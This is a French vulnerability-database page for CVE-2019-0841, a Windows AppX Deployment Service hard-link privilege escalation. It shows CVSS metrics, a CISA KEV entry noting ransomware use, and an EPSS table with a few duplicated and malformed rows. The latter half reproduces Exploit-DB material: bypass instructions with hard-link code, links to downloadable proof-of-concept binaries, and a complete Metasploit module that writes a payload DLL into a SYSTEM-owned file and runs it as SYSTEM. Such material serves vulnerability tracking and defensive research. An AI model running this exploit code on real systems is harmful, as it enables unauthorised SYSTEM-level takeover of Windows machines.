CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
An elevation of privilege vulnerability exists when Windows AppX Deployment Service (AppXSVC) improperly handles hard links, aka 'Windows Elevation of Privilege Vulnerability'. This CVE ID is unique from CVE-2019-0730, CVE-2019-0731, CVE-2019-0796, CVE-2019-0805, CVE-2019-0836.
Improper Link Resolution Before File Access ('Link Following') The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
7.8
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Local
The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
Low
The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Microsoft Windows AppX Deployment Service (AppXSVC) Privilege Escalation Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Known
Ajouter le : 2022-03-14 23h00 +00:00
Action attendue : 2022-04-04 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
87.81%
–
–
–
–
2021-09-05
–
87.81%
–
–
–
2022-02-06
–
–
40.94%
–
–
2022-10-09
–
–
39.81%
–
–
2023-03-12
–
–
–
88.91%
–
2023-03-19
–
–
–
87.4%
–
2023-03-26
–
–
–
85.51%
–
2023-04-16
–
–
–
85.89%
–
2023-05-07
–
–
–
84.15%
–
2023-05-14
–
–
–
85.53%
–
2023-05-21
–
–
–
89.26%
–
2023-06-04
–
–
–
88.58%
–
2023-06-25
–
–
–
88.63%
–
2023-07-09
–
–
–
87.2%
–
2023-08-27
–
–
–
85.68%
–
2023-09-10
–
–
–
89.68%
–
2023-09-24
–
–
–
87.53%
–
2023-10-22
–
–
–
88.34%
–
2023-12-10
–
–
–
86.86%
–
2024-02-18
–
–
–
86.86%
–
2024-03-03
–
–
–
86.7%
–
2024-04-07
–
–
–
86.55%
–
2024-06-02
–
–
–
86.55%
–
2024-12-22
–
–
–
84.55%
–
2025-01-26
–
–
–
82.33%
–
2025-02-16
–
–
–
83.64%
–
2025-01-19
–
–
–
84.55%
–
2025-01-25
–
–
–
82.33%
–
2025-02-16
–
–
–
83.64%
–
2025-03-18
–
–
–
–
83.7%
2025-03-30
–
–
–
–
85.92%
2025-03-30
–
–
–
–
85.92,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2019-05-22 22h00 +00:00 Auteur : SandboxEscaper EDB Vérifié : No
There is still a vuln in the code triggered by CVE-2019-0841
The bug that this guy found: https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/
If you create the following:
(GetFavDirectory() gets the local appdata folder, fyi)
CreateDirectory(GetFavDirectory() + L"\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Microsoft.MicrosoftEdge_44.17763.1.0_neutral__8wekyb3d8bbwe",NULL);
CreateNativeHardlink(GetFavDirectory() + L"\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Microsoft.MicrosoftEdge_44.17763.1.0_neutral__8wekyb3d8bbwe\\bear3.txt", L"C:\\Windows\\win.ini");
If we create that directory and put an hardlink in it, it will write the DACL.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!IMPORTANT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Microsoft.MicrosoftEdge_44.17763.1.0_neutral__8wekyb3d8bbwe this part (i.e 44.17763.1.0) has to reflect the currently installed edge version, you will need to mofidy this in the PoC (polarbear.exe) if different.
You can find this by opening edge -> settings and scrolling down.
Best thing is to just create a folder and hardlink for all the recent edge versions when writing an exploit. But I guess you can also probably get the installed version programmatically.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!IMPORTANT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To repro:
1. Run polarbear.exe
2. Run windowsappslpe.exe (doesn't matter what file you pass in commandline.. will just make win.ini write-able.. rewrite the original PoC yourself)
Use the vide demo as guidance..
EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46938.zip
Date de publication : 2019-06-06 22h00 +00:00 Auteur : SandboxEscaper EDB Vérifié : No
CVE-2019-0841 BYPASS #2
There is a second bypass for CVE-2019-0841.
This can be triggered as following:
Delete all files and subfolders within "c:\users\%username%\appdata\local\packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\" (atleast the ones we can delete as user)
Try to launch edge. It will crash the first time.
When we launch it a second time, it will write the DACL while impersonating "SYSTEM".
The trick here is to launch edge by clicking it on the taskbar or desktop, using "start microsoft-edge:" seems to result in correct impersonation.
You can still do this completely programmatically.. since edge will always be in the same position in the task bar.. *cough* sendinput *cough*. There is probably other ways too.
Another note, this bug is most definitely not restricted to edge. This will be triggered with other packages too. So you can definitely figure out a way to trigger this bug silently without having edge pop up. Or you could probably minimize edge as soon as it launches and close it as soon as the bug completes. I think it will also trigger by just launching edge once, but sometimes you may have to wait a little. I didn't do extensive testing.. found this bug and quickly wrote up a poc, took me like 2 hours total, finding LPEs is easy.
To repro:
1. Launch my poc
2. Launch edge several times
Use video demo as guidance. Also, I don't get paid for dropping bugs, so if you want a simple and full exploit, then go fucking write it yourself, I have better things to do, such as preparing my voyage into the arctic. You're welcome.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!IMPORTANT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Make sure you have multiple cores in your VM (not multiple processors, multiple cores).
It's going to increase the thread priority to increase our odds of winning the race condition that this exploits. If your VM freezes it means you either have 1 core or set your vm to have multiple processors instead of multiple cores... which will also cause it to lock up.
EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46976.zip
Date de publication : 2019-04-08 22h00 +00:00 Auteur : Nabeel Ahmed EDB Vérifié : No
This vulnerability allows low privileged users to hijack file that are owned by NT AUTHORITY\SYSTEM by overwriting permissions on the targeted file. Successful exploitation results in "Full Control" permissions for the low privileged user.
1. The exploit first checks if the targeted file exists, if it does it will check its permissions. Since we are using Microsoft Edge for this exploit it will kill Microsoft Edge in order to get access to the settings.dat file.
2. After Microsoft Edge is killed it will check for the "setting.dat" file and delete it in order to create a hardlink to the requested targeted file (in our case that was the HOSTS file)
3. Once a hardlink is created Microsoft Edge is fired up again to trigger the vulnerability. Concluding with a final check if indeed "Full Control" permissions have been set for the current user.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46683.zip
Date de publication : 2019-07-15 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Exploit::EXE
include Post::File
include Post::Windows::Priv
include Post::Windows::FileInfo
include Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'AppXSvc Hard Link Privilege Escalation',
'Description' => %q(
There exists a privilege escalation vulnerability for
Windows 10 builds prior to build 17763. Due to the AppXSvc's
improper handling of hard links, a user can gain full
privileges over a SYSTEM-owned file. The user can then utilize
the new file to execute code as SYSTEM.
This module employs a technique using the Diagnostics Hub Standard
Collector Service (DiagHub) which was discovered by James Forshaw to
load and execute a DLL as SYSTEM.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Nabeel Ahmed', # Vulnerability discovery and PoC
'James Forshaw', # Code creating hard links and communicating with DiagHub service
'Shelby Pace' # Metasploit module
],
'References' =>
[
[ 'CVE', '2019-0841' ],
[ 'URL', 'https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/' ],
[ 'URL', 'https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html' ],
[ 'URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html' ],
[ 'URL', 'https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html' ]
],
'Targets' =>
[
[ 'Windows 10', { 'Platform' => 'win' } ]
],
'DisclosureDate' => '2019-04-09',
'DefaultTarget' => 0
))
end
def check
return CheckCode::Unknown if sysinfo['OS'] !~ /windows\s10/i
path = expand_path('%WINDIR%\\system32\\win32k.sys')
major, minor, build, revision, brand = file_version(path)
return CheckCode::Appears if build < 17763
CheckCode::Detected
end
def upload_file(file_name, file_path)
contents = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-0841', file_name))
write_file(file_path, contents)
register_file_for_cleanup(file_path)
rescue
fail_with(Failure::UnexpectedReply, 'Failed to write file contents to target')
end
def init_process
print_status("Attempting to launch Microsoft Edge minimized.")
cmd_exec("cmd.exe /c start /min microsoft-edge:", nil, 30)
end
def mk_hard_link(src, target, link_exe)
out = cmd_exec("cmd.exe /c #{link_exe} \"#{src}\" \"#{target}\"")
return (out && out.include?('Done'))
end
def write_payload
print_status('Writing the payload to disk')
code = generate_payload_dll
@original_data = read_file(@rtf_path)
write_file(@rtf_path, code)
end
def exploit
vuln_status = check
fail_with(Failure::NotVulnerable, 'Failed to detect Windows 10') if vuln_status == CheckCode::Unknown
fail_with(Failure::None, 'Already running with SYSTEM privileges') if is_system?
cmd_exec("taskkill /F /IM MicrosoftEdge.exe /FI \"STATUS eq RUNNING\"")
dat_path = expand_path("%USERPROFILE%\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\Settings.dat")
fail_with(Failure::NotFound, 'Path does not exist') unless exist?(dat_path)
if session.arch == ARCH_X86
exe_name = 'CVE-2019-0841_x86.exe'
f_name = 'diaghub_load_x86.exe'
elsif session.arch == ARCH_X64
exe_name = 'CVE-2019-0841_x64.exe'
f_name = 'diaghub_load_x64.exe'
end
link_file_name = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(6...8)}.exe")
upload_file(exe_name, link_file_name)
@rtf_path = expand_path('%WINDIR%\\system32\\license.rtf')
fail_with(Failure::UnexpectedReply, 'Did not retrieve expected output') unless mk_hard_link(dat_path, @rtf_path, link_file_name)
print_good('Successfully created hard link')
init_process
cmd_exec("taskkill /F /IM MicrosoftEdge.exe")
write_payload
diaghub_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(8..12)}")
upload_file(f_name, diaghub_path)
cmd = "\"#{diaghub_path}\" \"license.rtf\""
cmd_exec(cmd)
end
def cleanup
folder_path = expand_path("%TEMP%\\etw")
dir_rm(folder_path)
write_file(@rtf_path, @original_data)
super
end
end